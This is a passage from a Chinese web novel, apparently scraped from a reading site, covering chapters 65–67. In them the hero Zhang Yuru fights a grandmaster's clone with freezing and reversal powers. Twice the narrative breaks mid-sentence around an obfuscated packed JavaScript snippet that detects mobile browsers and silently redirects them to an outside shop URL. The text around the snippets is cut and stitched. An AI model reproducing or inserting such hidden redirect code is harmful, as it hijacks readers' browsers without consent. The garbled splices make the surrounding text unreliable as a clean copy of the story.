这种“单一规则”的环境,恰好给了「永恒」可乘之机——张玉汝无需对抗天地间复杂的变化,只需针对李巡天的力量规则,用「永恒」将其冻结即可。 于是,那些本应化作毁天灭地流星雨的绿色光点,便在完成形态蜕变的前一刻,被永远地定在了半空中。 它们依旧散发着刺眼的光芒,蕴含着恐怖的能量,却再也无法前进一步,只能像无数盏悬停的绿灯,静静地悬在张玉汝头顶,成了一道诡异而壮观的景象。 城墙之上,李巡天的本体正站在垛口旁,指尖还维持着凝聚能量的姿势。 当他通过领域感知到那片突如其来的静止时,原本淡漠的眼神骤然一凝,嘴角那抹若有若无的冷笑也僵住了。 他能清晰地感觉到,自己释放出的那部分力量,像是被投入了无底深渊,瞬间失去了所有联系——既无法继续操控那些绿色光点完成攻击,也无法收回力量,只能停留在被冻结的状态。 “哦?竟然能做到这种地步?”李巡天挑了挑眉,收回了悬在半空的手指,目光透过厚重的云层,仿佛能直接看到领域中那道被黑白光芒笼罩的身影。 先前他以为张玉汝不过是个有些天赋的年轻人,杀了李九天也只是运气好,可此刻「永恒」能力展现出的效果,却彻底超出了他的预期。 他甚至能想象到,在自己的领域里,张玉汝是如何用那看似温和的黑白光芒,将自己引以为傲的“流星之雨”硬生生顶住——这种打破他力量规则的能力,不仅没有让他恼怒,反而像一颗石子投入平静的湖面,在他心中激起了强烈的兴趣。 “有点意思,”李巡天低声自语,指尖轻轻敲击着城墙的砖石,发出清脆的“笃笃”声,“能在我的领域里,用这种方式挡住我的攻击……张玉汝,你到底还藏着多少底牌?” 话音未落,他周身的气息骤然一变,原本散落在领域中的“气蕴”开始重新汇聚,头顶的云层再次翻滚起来。 这一次,不再是绿色的光点,而是一种更深沉、更幽暗的能量,正在云层深处缓缓凝聚——很显然,李巡天不仅没有放弃,反而因为这意外的“惊喜”,准备拿出更强的手段了。 第 65章 反击 张玉汝望着头顶那片依旧翻涌的云层,感受着体内因维持「永恒」而飞速流逝的能量,后背早已被冷汗浸透,贴在衣衫上带来一阵冰凉的黏腻感。 他并非不清楚自己此刻的处境——面对的是一位真正站在金字塔顶端的大宗师,对方哪怕只是分出来的一缕力量,也带着足以碾压寻常宗师的威压。 先前挡下那铺天盖地的绿色流星时,他几乎耗尽了近三成的能量储备,此刻体内的力量还在以缓慢却持续的速度消耗着,每一次呼吸都能感觉到经脉传来的细微酸胀。 这便是大宗师的力量吗?张玉汝心中不由得生出愈发深切的敬畏。 他清楚记得自己晋升宗师时,曾以为已经触摸到了能力者的天花板,可直到此刻亲身领教李巡天的手段,才明白两者之间的鸿沟究竟有多大。 对方不仅能轻易构建出如此庞大且稳定的领域,更能在被秦戍牵制本体的情况下,分心操控领域发动一次比一次猛烈的攻击,这种对力量的精准掌控与极致运用,是他现在远远无法企及的。 每一次攻击的余波扫过,都让他觉得像是有一座无形的大山压在肩头,若不是靠着「永恒」的能力强行冻结攻击,恐怕已在流星雨中便尸骨无存。 而城墙之上,李巡天的目光透过云层,落在领域中那道略显单薄却依旧挺拔的身影上,心中的惊讶也丝毫不亚于张玉汝。 他指尖敲击砖石的节奏微微放缓,眼底闪过一丝不易察觉的凝重。 他确实有所顾忌。 秦戍那家伙就像一根钉子,死死钉在前线,目光如炬,但凡自己有半点异动,对方必定会立刻察觉,到时候少不了又是一番争执,甚至可能直接出手干预,坏了自己的计划。 所以他不能让本尊亲自降临这片领域,只能剥离出一部分力量操控局面——可即便是这部分剥离的力量,也绝非寻常宗师能够抗衡。 李巡天自忖,自己任意一次攻击的强度,都足以让那些浸淫宗师之境数十年的老家伙们吃尽苦头。 宗师与大宗师之间的差距,从来都不是简单的能量多少,而是对规则的理解与运用。 他的攻击中蕴含着天空领域的部分规则,能够撕裂空间、扭曲能量,寻常宗师别说抵挡,就连看清攻击轨迹都难。 可张玉汝呢?这个不过二十出头的年轻人,直到现在也只是衣衫有些破损,发丝凌乱,脸上沾了些尘土,称得上一句“狼狈”,却丝毫不见重伤濒死的迹象。 更让李巡天意外的是,在几次攻击的间隙,张玉汝甚至能抓住他力量运转的微小破绽,用「永恒」的能力冻结局部区域,逼得他不得不暂时中断攻击,重新调整力量布局——这种反击虽然微弱,却精准得惊人,完全不像是一个新晋宗师能做到的事情。 李巡天不禁暗自思忖:这张玉汝,到底是什么来头?他调查过张玉汝的背景,平平无奇,出身普通家庭,没有任何大家族或大势力的扶持,晋升宗师的时间也不过几天而已。 可就是这样一个“普通”的新晋宗师,却能在自己的领域里支撑如此之久,甚至还能做出有效反击,这实在超出了他的认知。 他并不知道,张玉汝为了晋升宗师,付出了多少常人难以想象的代价。 别人晋升宗师,靠的是资源堆砌、名师指导,或是天赋异禀的顿悟,而张玉汝走的却是一条最凶险的路。 张玉汝能在李巡天的领域中支撑至今,甚至屡次反击,这份远超普通新晋宗师的实力,并非凭空而来,而是源于一段浸满血泪、在绝境中破而后立的过往。 一切的转折点,要追溯到那次让他险些殒命的重伤。 彼时他被仇家追杀,身受致命伤,脏腑碎裂,经脉尽断,意识沉入黑暗的前一刻,他拼死捏碎了怀中仅存的玄霜云珀。 那是源自凉风之山的异宝,蕴含着足以冻结灵魂的凛冽力量,正是这股力量在他濒死之际护住了他的残魂与生机,让他从鬼门关前捡回了一条性命。 可死里逃生的代价,却是难以挣脱的桎梏——玄霜云珀的力量并非温和的滋养,而是带着极强的侵略性,在修复他身体的同时,如同跗骨之蛆般与他的血肉、经脉,甚至灵魂深度融合。 那种融合深入骨髓,早已超越了简单的能量共生。 张玉汝能清晰地感觉到,体内有两股力量在相互拉扯:一股是他自身修炼多年、温养出的本源之力,另一股则是玄霜云珀那冰寒刺骨、桀骜不驯的异力。 后者如同附骨之疽,不仅时刻侵蚀着他的经脉,更在他试图突破境界时横加阻拦。 每当他的本源之力有所增长,玄霜云珀的力量便会骤然爆发,冻结他的修炼进度,甚至反噬他的脏腑,让他数次在晋升关头险些走火入魔。 他曾尝试过无数种方法剥离这股力量:用烈火焚烧、以秘法引导、借异兽精血中和,可无论何种手段,都如同石沉大海。 这股力量早已与他的灵魂绑定,除非玉石俱焚,否则根本无法被排出体外,成为了制约他晋升的最大枷锁,让他卡在宗师门槛前寸步难行。 就在他几乎绝望,以为这辈子都要被这股异力束缚时,叶平的出现,以一种极端残酷的方式,为他带来了转机。 叶平心思歹毒,手段狠辣,他设下连环毒计,最终将张玉汝擒获。 叶平并未直接杀死他,而是将他视作了炼制“混元道丹”的核心药引,打算用天人传承的上古秘法,将他体内所有精纯力量提炼、融合,最终炼化为一颗能让人一步登天的丹药。 张玉汝被囚禁在一处布满符文的炼药台上,鼎下燃烧着能灼烧灵魂的火焰,鼎壁上刻满了吸噬能量的诡异符文。 在炼丹师催动**时,一道道带着毁灭气息的能量丝线钻入他的体内,如同无数把锋利的小刀,刮削着他的经脉,撕扯着他的本源之力与玄霜云珀的异力。 那种痛苦远超凌迟,每一次提炼,都像是要将他的灵魂从肉体中硬生生剥离,再重新糅合。 他的意识在清醒与昏迷之间反复拉扯,身体时而被玄霜云珀的力量冻结成冰,时而被火焰烤得焦裂,血肉模糊,筋骨外露。 可就在这极致的痛苦中,张玉汝却敏锐地捕捉到了一丝契机——叶平的秘法虽狠毒,却有着强行分离、提纯能量的奇效。 原本死死纠缠、无法分割的两股力量,在秘法的强制提炼下,竟然开始出现了微弱的剥离迹象。本源之力与玄霜云珀的冰寒,第一次清晰地分离开来,不再是混沌一团。 张玉汝强忍剧痛,凭借着惊人的意志力,在意识的夹缝中引导着这股变化:他顺着秘法的拉扯之力,主动将本源之力向丹田汇聚,同时任由玄霜云珀的异力被符文吸噬到鼎壁边缘。 在这个过程中,他不仅没有抗拒秘法的侵蚀,反而借力打力,利用外力的强制力,一点点梳理着体内纠缠的能量,将玄霜云珀那桀骜不驯的异力驯服、收纳。 当张玉汝从地狱般的困境中逃脱时,他的体内早已发生了天翻地覆的变化。 曾经制约他的玄霜云珀之力,不再是枷锁,而成了被他利用的武器。 那段被炼制的经历,也让他的肉体与灵魂都得到了前所未有的锤炼,经脉变得更加坚韧,灵魂强度远超同阶,甚至能承受住两种极端力量的同时运转。 逃脱之后,命运似乎并未打算给张玉汝喘息的机会。 天人的追杀、各大势力的觊觎,让他不得不接连踏入一场又一场死战。 可张玉汝却将这些战斗都化作了磨砺自身的绝佳机会。 直到击杀李九天及其麾下的几位宗师级能力者时,张玉汝的实力早已达到了一个恐怖的层级。 他的力量精纯度远超普通宗师。 他的体魄经过玄霜云珀之力与无数次战斗的双重淬炼之后变得无比坚韧。 而他对「永恒」能力的运用,也在生死考验中愈发炉火纯青,不仅能精准冻结攻击,更能在瞬息间捕捉到对手的能量破绽。 所以,将张玉汝看作普通的新晋宗师,无疑是一个致命的错误。。 此刻悬浮在他头顶的李巡天,虽然已经察觉到了他的不简单,却未必真正知晓,眼前这个年轻人,早已在无数次绝境中,将自己锻造成了一柄无坚不摧的利刃。 而这柄利刃,此刻正悄然积蓄着力量,等待着反击的最佳时机。 「永恒」的黑白光芒依旧笼罩着领域,将那些狰狞的黑色风柱与悬浮的绿色光点死死定格,天地间的静止还未消散,张玉汝便已做出了后续的动作。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就像一个人无法挥拳打向整片空气,张玉汝这凝聚了全身力量的一拳,就算威力再惊世骇俗,又能击中什么呢?难不成真的要对着空荡荡的天空挥出一拳? 若是如此,那这场戏可就真成了猴戏,足够让他在前线枯燥的御敌时光里笑上半日了。 李巡天的笑意愈发明显,甚至做好了看张玉汝无功而返、狼狈不堪的准备。 可接下来,张玉汝的举动却真的印证了他的猜想。 只见张玉汝深吸一口气,胸腔在力量的充盈下剧烈起伏,原本紧绷的身体缓缓舒展,而后,他抬起那只凝聚了极致力量的右拳,朝着头顶那片翻涌的云层,朝着这片由李巡天力量构筑的天空,缓慢而坚定地打了出去。 那动作算不上迅猛,甚至带着一种奇异的韵律,可随着拳头的缓缓推进,周围的空间开始出现剧烈的波动。 原本被「永恒」冻结的空间屏障,在这股拳力的威压下,竟然开始出现细密的裂纹,就像一块即将破碎的玻璃。 当拳头推进到中途时,拳风骤然爆发,不再是无形的气流,而是化作了实质的金色冲击波。 所过之处,空间如同纸片般被轻易撕裂,一道道漆黑如墨的空间裂缝随之出现,如同一张张择人而噬的巨口,疯狂吞噬着周围的能量,发出“滋滋”的刺耳声响。 即便是身为大宗师的李巡天,感受到这股拳力蕴含的威力时,脸上的轻蔑也不由得收敛了几分,心中暗自赞叹:这一拳的力量,的确算得上拿得出手了。寻常宗师若是挨上这么一下,恐怕会直接被打成齑粉,就算是他,若是要接下这一拳,也得认真应对一番。 可赞叹归赞叹,他心中的疑惑与轻蔑并未减少分毫。 威力再大,打不中目标,终究只是徒劳。他甚至已经想好,等这一拳的力量耗尽,便立刻发动领域的全力,彻底终结这场无聊的闹剧。 “威力再大,打不中又有什么意义?”李巡天在心中冷笑道,目光紧紧盯着领域中那道挥出拳头的身影,等待着看他力竭的那一刻。 然而,他并不知道,张玉汝这看似无的放矢的一拳,从一开始,就没有打算击中任何“实体”。那漆黑的空间裂缝之中,正有一股截然不同的力量,在悄然酝酿。 第 66章 急了 就在张玉汝那裹挟着凛冽劲风的重拳即将扑空的刹那,他唇齿轻启,清冷的二字再次划破虚空:“颠倒。” 李巡天分出的这股力量本就脱离了实体桎梏,化作无数道无形的能量流,如漫天星屑般在苍穹之上肆意游离、弥散。 能量化与元素化,向来是物理攻击型能力者的噩梦——当躯体与力量拆解为纯粹的能量粒子,原本固有的要害便会彻底消融。 任你拳风再烈、刀锋再利,也只能徒劳地穿过一片虚无,连衣角都无法触及。 这正是李巡天分身的底气所在,他笃定张玉汝的物理攻击会沦为无用功,毕竟分散的能量就像泼出去的水,既无要害可击,又能凭借弥散的形态消解大部分反击力道。 可他万万没料到,张玉汝的「颠倒」之力,竟能逆改能量的运动变化轨迹。 早在出手之前,张玉汝那双蕴藏着天地玄机的「造化之眼」便已设计好了接下来要发生的一切。 混沌色的眸光穿透漫天能量迷雾,将李巡天每一缕能量流的运行轨迹、波动频率乃至初始原点,都精准无误地勾勒在识海之中。 那些看似杂乱无章的能量粒子,在「造化之眼」的洞察下,都成了有迹可循的丝线——从初始的A点迸发,有的疾驰至B点,有的漫散到C点,更有甚者已飘向遥远的D点、E点,如同一张铺展在天空中的无形大网。 而「颠倒」的真谛,便是让一切回归本源。 张玉汝心念电转,指尖凝起淡淡的银灰色光晕,一次又一次催动这个能力。 先是锁定那些抵达B点的能量流,循着「造化之眼」记录的轨迹,强行将其从虚空之中拖拽回初始的A点。 紧接着,C点、D点、E点乃至更遥远之处的能量粒子,都在这股不可抗拒的逆转之力下,如同被时光回溯般,沿着各自来时的路径飞速折返。 这过程看似繁琐,实则每一次「颠倒」的催动都精准到毫厘,每一缕能量的归位都严丝合缝,没有半分偏差。 张玉汝早已将所有能量的运行规律烂熟于心,这一切都在他预设的预案之中。 当最后一缕游离的能量粒子跨越虚空,精准落回最初的起始点时,整片天空的能量流骤然汇聚,形成了一个璀璨夺目的光球,如同凭空诞生的恒星。 而就在能量完成汇聚的刹那,张玉汝眸色一沉,口中轻喝:“永恒。” 黑白二色的光幕瞬间笼罩了那团能量核心,「永恒」的力量如同最坚固的枷锁,将汇聚的能量牢牢禁锢在原地。 这并非静止,而是一种时间与空间的定格——能量粒子的振动被放缓到极致,原本奔腾的力量被强行压制,即便它们此刻汇聚成一股磅礴的洪流,也难以在短时间内挣脱这双重桎梏。 单股能量无法抵御「颠倒」的牵引,汇聚之后又被「永恒」锁死,李巡天的力量此刻已然陷入了进退维谷的绝境。 更致命的是,张玉汝本就是顶尖的速度类能力者。 从「造化之眼」洞察轨迹,到多次「颠倒」牵引能量,再到「永恒」锁定核心,这一系列复杂到令人咋舌的操作,全部发生在电光石火之间。 在旁人眼中,不过是张玉汝站在原地,指尖微光一闪,天空中的能量便已完成了从弥散到汇聚、从流动到静止的逆转,快得让人根本无法捕捉其中的细节。 李巡天的分身瞳孔骤缩,脸上写满了难以置信的震惊。 他能清晰地感知到,自己分散在天地间的力量正在被强行聚拢,又被某种神秘的力量死死锁住,那种失控的感觉让他心头狂跳。 而就在他试图重新掌控能量的刹那,张玉汝动了。 身影如同瞬移般出现在能量核心前方,张玉汝周身爆发出毁灭性的黑色光晕,拳头上凝聚的力量足以击碎山岳、撕裂苍穹。 他的动作简洁而霸道,没有任何花哨的技巧,唯有纯粹的力量与速度的极致结合。 就在重拳即将触及能量核心的前一瞬,笼罩着光球的「永恒」光幕骤然消散。 这正是张玉汝计算好的时机,「永恒」的效果刚好在力量抵达前失效,既保证了能量被锁定至最后一刻,又能让重拳的威力毫无损耗地倾泻而下。 失去了「永恒」的禁锢,汇聚的能量瞬间躁动起来,如同挣脱牢笼的野兽。 但它们长久以来处于分散游离的状态,此刻骤然汇聚,内部的能量流紊乱不堪,无序的碰撞让李巡天根本无法在短时间内重新掌控。 而张玉汝的重拳,恰恰在这最关键的间隙,悍然落下。 “轰——!” 震耳欲聋的巨响响彻天地,比星体**还要宏伟磅礴的景象骤然在天空中绽放。 无尽的能量在重拳的轰击下彻底失控,化作席卷天地的能量风暴,耀眼的白光瞬间吞噬了整片苍穹,将张玉汝所在的整个世界映照成一片纯粹的白,连空气都在这极致的能量冲击下扭曲、燃烧。 远在前线战场的李巡天本体,脸色骤然变得青一阵、紫一阵,嘴角甚至溢出了一丝淡淡的血迹——分身与本体之间的连接,让他清晰地承受了这股毁灭性的冲击。 张玉汝这一拳,何止是击碎了半片天空? 那狂暴的能量冲击直接在虚空中撕开了一道巨大的裂缝,黑色的空间乱流在裂缝中翻滚,仿佛要将整个世界都吞噬。 若非李巡天在最后关头,强行透支精神力重新掌控了部分能量,引导其自爆卸力,那具分身恐怕早已在能量风暴中化为飞灰。 这样的结果,让李巡天既愤怒又难堪,脸色铁青得几乎要滴出水来。 他是谁?堂堂大宗师级别的顶尖能力者,在整个世界都是屈指可数的存在。 为了尽快解决张玉汝这个潜在威胁,他不惜放下身段,派出自己的强力分身去对付一个刚刚晋升宗师级不久的后辈——这本就是一件颇受非议、近乎“不要脸”的举动。 可即便如此,他的分身不仅没能拿下张玉汝,反而差点被对方一拳摧毁,这份耻辱与挫败感,如同毒蛇般啃噬着他的自尊心,让他根本无法接受。 李巡天站在前线战场的高台上,指尖因极致的愤怒而微微颤抖,周身的空气仿佛都被这股压抑的怒火点燃,扭曲成一道道灼热的气浪。 他死死盯着远方天际那尚未消散的能量白光,眼中的杀意如同实质般汹涌而出,连周围前来汇报战况的下属都吓得噤若寒蝉,不敢靠近半步。 “岂有此理!简直是岂有此理!”李巡天猛地一拳砸在身旁的岩石护栏上,坚硬的岩石瞬间崩裂成无数碎石,飞溅的石屑带着刺耳的破空声四散开来。 在他的认知里,张玉汝不过是只微不足道的苍蝇——一个刚晋升宗师级的后辈,连在他面前抬头的资格都没有。 可刚才发生的一切,却像一记响亮的耳光,狠狠扇在了他的脸上。 他想起自己派出分身时的轻蔑,想起自己笃定对方会被轻易碾压的自信,再对比此刻分身险些被毁、自己还受了牵连的狼狈,一股难以言喻的**感瞬间席卷了全身。 这感觉就像他挥起巴掌去拍一只苍蝇,不仅被对方灵活地躲了过去,那只苍蝇还仿佛停在原地,用无声的姿态嘲讽着他的无能。 明明张玉汝自始至终都没有任何挑衅的举动,可在李巡天被愤怒冲昏的脑海里,对方每一个动作都成了炫耀,每一次呼吸都像是在嘲笑他的失败。 “一个毛头小子,也敢在我面前放肆!”李巡天的声音冰冷刺骨,带着令人胆寒的狠厉。 他绝不会允许这种**继续存在,更不会让张玉汝活着离开这片战场。 他缓缓闭上双眼,双手在胸前结出复杂的印诀,周身开始涌现出浓郁的黑色雾气,那雾气中蕴含着令人心悸的恐怖力量,仿佛能吞噬世间一切生灵。 随着印诀的不断变化,李巡天体内的能量如同沉睡的巨兽般苏醒,顺着他的手臂疯狂涌入虚空之中。 一道巨大的黑色光柱从他头顶冲天而起,贯穿了云层,直抵天际深处——那是他与分身之间的能量通道,此刻正以肉眼可见的速度输送着磅礴的力量。 地面开始剧烈震动,周围的山石滚落,树木被能量余波连根拔起,整个前线战场都被这股恐怖的能量笼罩,士兵们纷纷跪倒在地,根本无法承受这股来自大宗师级别的威压。 “给我撑住!”李巡天对着虚空怒吼,声音中带着不容置疑的命令,“我会给你足够的力量,把那个小子拖进你的领域,让他尝尝什么叫生不如死!” 虚空之中,原本因能量**而变得虚弱的分身突然睁开双眼,眼中迸发出漆黑的光芒。 李巡天输送的力量如同源源不断的江河,疯狂涌入分身体内,让它原本虚幻的身形逐渐变得凝实,周身的能量波动也越来越恐怖。 黑色的领域之力从分身脚下蔓延开来,如同墨汁滴入清水,瞬间覆盖了方圆百里的天空,领域之内,空气变得粘稠如浆,光线被彻底吞噬,只剩下无尽的黑暗与压抑。 分身缓缓抬起右手,指向下方的张玉汝,声音带着金属般的冰冷:“张玉汝,你成功激怒了我。接下来,我会让你在我的领域里,一点点被碾成粉末,让你知道,挑衅大宗师的下场,是你永远无法承受的!” 李巡天站在高台上,感受着分身越来越强的力量,脸上露出了冷酷的笑容。 他能想象到张玉汝在领域中挣扎求生的狼狈模样,能预见对方被力量碾压、最终化为飞灰的结局。 这一次,他绝不会再给对方任何机会,他要让张玉汝为刚才的“嘲讽”付出最惨痛的代价,要用绝对的力量,洗刷掉自己所受的所有**。 那道贯穿天地的黑色光柱太过刺眼,裹挟的能量波动更是如惊雷般在战场上空炸响——如此不计代价地调用本源力量,即便隔着数百里之遥,也根本瞒不过一直暗中注视着李巡天的秦戍。 秦戍此刻正站在临时搭建的指挥塔顶端,一身银甲在残阳下泛着冷光。 他那双锐利的眼眸紧锁着远方高台上的李巡天,眉头不自觉地皱起,指尖下意识地摩挲着腰间的佩剑剑柄。 作为与李巡天同级的顶尖战力,他比任何人都清楚,大宗师级别的力量调用绝非小事,尤其是在异兽围城、前线战局岌岌可危的时刻,李巡天此举无疑是在透支战场支柱的力量。 可当他感知到那股力量最终流向虚空之中的分身,而非前线的异兽群时,秦戍的眼神瞬间变得深邃。 但李巡天早已将这一切算计得清清楚楚。他甚至能想象到秦戍此刻的神情,却丝毫不在意。 在他看来,秦戍的注视不过是无关紧要的插曲,因为他有绝对的把握,在秦戍开口干预之前,就让分身以碾压之势碾死张玉汝这只“小虫子”。 黑色光柱仍在疯狂输送力量,李巡天的嘴角勾起一抹冷笑。 他太了解秦戍的顾虑了:眼下异兽大军如同潮水般冲击防线,前线士兵伤亡惨重,整个战场全靠他们几个大宗师撑着局面。 秦戍就算对他私用力量有再多不满,就算看穿了他的心思,也绝不可能为了一个刚晋升宗师、与自己毫无关联的张玉汝,去动摇作为战场支柱的他。 一旦他因秦戍的干预而分心,导致前线防线崩溃,后果绝非秦戍能承担。 “秦戍,就算你看不过去,又能如何?”李巡天在心中冷笑,输送力量的速度又快了几分。 虚空中的分身气息愈发恐怖,黑色领域如同活物般蠕动,领域边缘甚至开始出现空间碎裂的纹路,显然已经积蓄了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682759|179243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 足以瞬间摧毁宗师级强者的力量。 而此刻的张玉汝,正抬头望着那片覆盖天地的黑暗领域,感受着从领域中传来的致命威压。他能清晰地察觉到,分身体内的力量还在疯狂攀升,每一次波动都比之前更加强悍,仿佛下一秒就会化作**,将他彻底吞噬。 他知道,自己即将面对的,不再是之前那个有所保留的分身,而是一名大宗师倾尽全力的致命一击——没有任何缓冲,没有任何退路,唯有正面迎战,才有一线生机。 风从战场深处吹来,裹挟着异兽的嘶吼与士兵的呐喊,却吹不散张玉汝眼中的坚定。 他缓缓握紧拳头,「造化之眼」再次睁开,混沌色的眸光穿透黑暗,试图在领域中寻找一丝破绽。 当虚空中的分身彻底吸纳完李巡天输送的力量,那片覆盖百里的黑色领域突然剧烈震颤,领域顶端的黑暗如同被掀起的幕布,缓缓褪去——取而代之的,是一片被强行扭曲的天穹。 原本澄澈的天空被撕裂成无数碎片,每一块碎片都在燃烧,金色的火焰与黑色的雷霆在碎片间交织,形成一片如同末日降临般的恐怖天幕。 这便是李巡天的核心能力:以大宗师的意志篡改天象,将整片天空化作自己的武器库。 “天罚??碎穹!” 分身的怒吼响彻天地,话音未落,那片扭曲的天幕突然崩裂。 无数块燃烧着的天穹碎片如同陨石般坠落,每一块碎片都裹挟着毁天灭地的力量,表面缠绕的黑色雷霆噼啪作响,所过之处,空气被灼烧得发出滋滋的声响,连空间都出现了细密的裂痕。 更诡异的是,这些碎片看似杂乱无章地坠落,实则每一块的轨迹都经过精准计算,它们在空中不断碰撞、重组,竟在张玉汝头顶形成了一个巨大的天穹牢笼,将他死死困在中央。 这还只是第一击。 不等张玉汝挣脱牢笼,分身再次抬手,对着天幕猛地一握。 原本散落的黑色雷霆瞬间汇聚,化作一条体长百丈的雷霆巨龙,巨龙的鳞片由纯粹的天穹能量构成,每一次摆动都能引发空间震荡。 它张开血盆大口,喷出一道金色的火焰光柱,直刺下方的张玉汝。 而就在火焰光柱即将触及牢笼的刹那,分身又一次催动力量——天幕中燃烧的碎片突然加速坠落,如同暴雨般砸向牢笼,每一块碎片都带着“空间切割”的特异效果,仿佛要将张玉汝连同周围的空间一起切碎。 一瞬间内,天穹牢笼、雷霆龙炎、空间碎雨三道攻击接连落下,且每一道攻击都能相互增幅:牢笼限制张玉汝的移动,龙炎提供持续灼烧,碎雨则负责高频切割,三者形成一个无缝衔接的攻击闭环,根本不给张玉汝喘息的机会。 这便是李巡天的杀招,不仅场面宏大,更暗藏“时空叠加”的特异机制——每一次攻击都比前一次快上一分,看似同时发动,实则在时间维度上形成了无数次连续打击,即便是速度类能力者,也很难完全规避。 面对这如同天崩地裂般的攻击,张玉汝眼中没有丝毫惧色,只有极致的冷静。 他双脚在虚空中一点,周身瞬间绽放出黑白二色的光晕,黑色光晕如同深渊般吞噬着周围的能量,白色光晕则化作一道坚固的屏障,挡在身前。 “颠倒!”他低喝一声,双手对着袭来的空间碎雨猛地一推,黑白二色光晕瞬间化作无数道细线,缠绕在碎片上,试图将碎片的轨迹颠倒,使其反向攻击牢笼。 可李巡天的攻击早已超出常规范畴——碎片上的“空间切割”效果瞬间撕裂了黑白细线,碎片依旧带着恐怖的力量砸向屏障。 “砰!”白色屏障剧烈震颤,出现了密密麻麻的裂痕,张玉汝的嘴角溢出一丝血迹,显然承受了不小的冲击。 但他没有丝毫退缩,左手维持着屏障,右手则凝聚出一道纯粹的黑色能量,对着头顶的雷霆巨龙猛地一掷。黑色能量在空中化作一把长剑,剑身刻满了枯荣符文,试图斩断巨龙的脖颈。 然而,巨龙只是轻蔑地甩了甩尾巴,金色火焰瞬间将黑色长剑包裹,长剑在火焰中发出滋滋的声响,很快便开始融化。 与此同时,金色的火焰光柱也抵达了屏障前,屏障的裂痕瞬间扩大,白色光晕开始变得暗淡。 张玉汝猛地咬牙,将体内的能量全部注入黑白光晕中,黑色光晕瞬间扩大,开始吞噬火焰光柱的能量,白色光晕则重新变得坚固,试图抵御碎雨的攻击。 可李巡天的攻击还在继续。 分身再次抬手,天幕中又一次汇聚起新的能量。 这一次,是无数道由天穹能量构成的长矛,每一根长矛都带着锁定的特异效果,能够无视空间距离,直接出现在张玉汝的周围。它们如同蝗虫般袭来,有的从正面刺向屏障,有的则突然出现在张玉汝的身后,试图偷袭。 张玉汝的身体瞬间紧绷,黑白二色光晕在周身快速旋转,形成一个球形护盾。 长矛刺在护盾上,发出刺耳的金属碰撞声,每一次撞击都让张玉汝的身体剧烈摇晃,体内的气血翻涌不止。 他能清晰地感受到,李巡天的攻击一次比一次猛烈,每一次都比前一次更难抵御,仿佛有无数双无形的手,在不断压缩他的生存空间。 天幕仍在崩塌,攻击仍在继续,黑白二色的光晕与金色的火焰、黑色的雷霆在虚空中激烈碰撞,形成一片混乱而壮观的能量风暴。 张玉汝的护盾已经出现了明显的裂痕,他的呼吸也变得急促起来,但他的眼神依旧坚定,双手仍在不断催动能力,试图在这如同天罚般的攻击中寻找一线生机。 而虚空中的分身,脸上则露出了残忍的笑容,它还在不断调用天幕的能量,准备发动下一次更恐怖的攻击。 第 67章 欺天 张玉汝的身体在能量冲击下剧烈震颤,黑白二色的球形护盾裂痕不断扩大,仿佛下一秒就要彻底崩碎。 但他的双眼却始终紧盯着漫天袭来的攻击,黑白杂糅的混沌之色从眼底悄然蔓延。 这是「造化之眼」全力运转的征兆,此刻,在他的视野里,天地间所有运动变化的轨迹都无所遁形。 天穹长矛的穿透轨迹、雷霆巨龙的火焰喷射路径、空间碎雨的坠落弧度,甚至连天幕能量流动的细微纹路,都化作一道道清晰的光影线条,在混沌色的视野中缓慢铺展。 张玉汝的思维在「加速世界」的加持下飞速运转,无数种应对方案在脑海中瞬间生成又被推翻。 他敏锐地察觉到,李巡天的连环攻击看似无缝衔接,实则每道攻击的轨迹衔接处,都存在一丝极其短暂的能量空白期——那便是破绽所在。 “就是现在!”张玉汝低喝一声,周身黑白二色光晕骤然暴涨。 他先是催动「颠倒世界」,让袭来的天穹长矛速度瞬间延缓,原本疾驰的长矛如同陷入泥潭,运动轨迹变得迟缓无比。 紧接着,「加速世界」全力发动,他的身体化作一道黑白交织的残影,在长矛的间隙中灵活穿梭,速度快到留下无数道虚幻的分身。 就在他即将冲出天穹牢笼的刹那,头顶的雷霆巨龙再次喷出金色火焰光柱。 张玉汝眼神一凝,双手结印,「颠倒」之力瞬间发动——黑白二色的符文在身前凝聚,将火焰光柱的运动轨迹强行逆转。 原本直刺他的光柱如同被按下反向键,调转方向,狠狠砸向身后的天穹牢笼。 “砰!”一声巨响,牢笼被火焰光柱炸出一个巨大的缺口,空间碎雨也因牢笼的崩塌而出现了短暂的混乱。 抓住这转瞬即逝的机会,张玉汝的眼神变得锐利起来。 他盯着虚空中李巡天的分身,右手凝聚出浓郁的黑白二色能量,「刹那」之力悄然催动——能量的爆发过程被瞬间压缩,原本需要酝酿的力量,在这一刻毫无征兆地爆发。 他如同瞬移般出现在分身面前,黑白二色的拳头带着摧毁一切的气势,直逼分身的要害。 分身脸上露出一丝错愕,显然没料到张玉汝竟能破开自己的攻击。 可就在张玉汝的拳头即将触及分身的刹那,分身的身体突然化作一道黑色的雾气,消散在虚空中。“不好!”张玉汝心中警铃大作,一种强烈的危机感瞬间笼罩全身。 他猛地转头,黑白杂糅的「造化之眼」再次运转,却发现周围的天幕能量正在以一种诡异的方式汇聚。 原本看似是攻击主体的分身,竟只是李巡天用来吸引注意力的幌子!真正的杀招,早已在天幕之中悄然酝酿。 只见整片扭曲的天穹突然停止了崩塌,无数道黑色的能量丝线从天幕中延伸出来,如同一张巨大的渔网,将张玉汝死死笼罩在中央。 这些能量丝线并非实体攻击,而是蕴含着李巡天本源力量的「天幕枷锁」,它们无视空间距离,瞬间缠绕在张玉汝的四肢上,不断收缩,试图将他的身体彻底束缚。 